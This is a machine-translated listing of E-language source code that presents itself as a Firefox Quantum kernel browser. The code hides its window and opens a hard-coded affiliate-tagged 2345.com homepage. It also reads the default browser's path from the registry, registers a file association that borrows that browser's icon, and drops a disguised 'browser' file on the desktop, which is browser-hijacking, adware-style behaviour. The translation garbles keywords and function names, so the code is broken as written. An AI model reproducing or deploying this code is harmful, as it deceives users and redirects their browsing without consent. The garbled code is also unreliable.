The realization of the easy language code in Firefox quantum kernel

. Version 2
. Support Library EAPI
. Support Library Spec
. Support Library Shell

. assembly Window assembly _ Startup Window

. Child Program __ Start window _ First time activation
. local variable temporary text, text type
. Local variables current browser name, text type

' Temporary text = Take text registration entry (1, "http\shell\open\command\",)
' Temporary text = take text to the left (temporary text, owe text (temporary text, ". exe",, false)-1)
' Temporary text = temporary text + '. exe '
' Current browser name = Temporary text
' edit box 1. Content = Current browser name
' edit box 1. Content = Take text to the right (edit box 1. Content, take text length (edit box 1. Contents)-1)
' MainPage = Text _ Remove intermediate text (Take execution file name (), "Huo", "@",,)
' MainPage = Text _ Replace (MainPage,,,, "-", "/", "_", "?",,,,)
MainPage = "Www.2345.com/?kthisc"
If True (the file exists ("C:\Huo_Lz.ini") = True)
_ start window. Visual = False
Opens the specified URL ("http//" + MainPage)
Delay (5000)
End ()
Return ()
. If it really ends
_ start window. Visual = False
Temporary text = Take text registration entry (1, "http\shell\open\command\",)
Temporary text = Take text to the left (temporary text, owe text (temporary text, ". exe",, false)-1)
Temporary text = Temporary text + ". exe"
Current browser name = Temporary text
edit box 1. Content = Current browser name
edit box 1. Content = Take text to the right (edit box 1. Content, take text length (edit box 1. Contents)-1)
mainbplace = edit box 1. Content ' Get the default browser path to get the icon
File _ association (Fetch run directory () + "\" + Fetch execution file name (), "0s", mainbplace,,)
Write to file (take a specific directory (#系统桌面) + "browser v8.0s" to the Byte set (1))

The realization of the easy language code in Firefox quantum kernel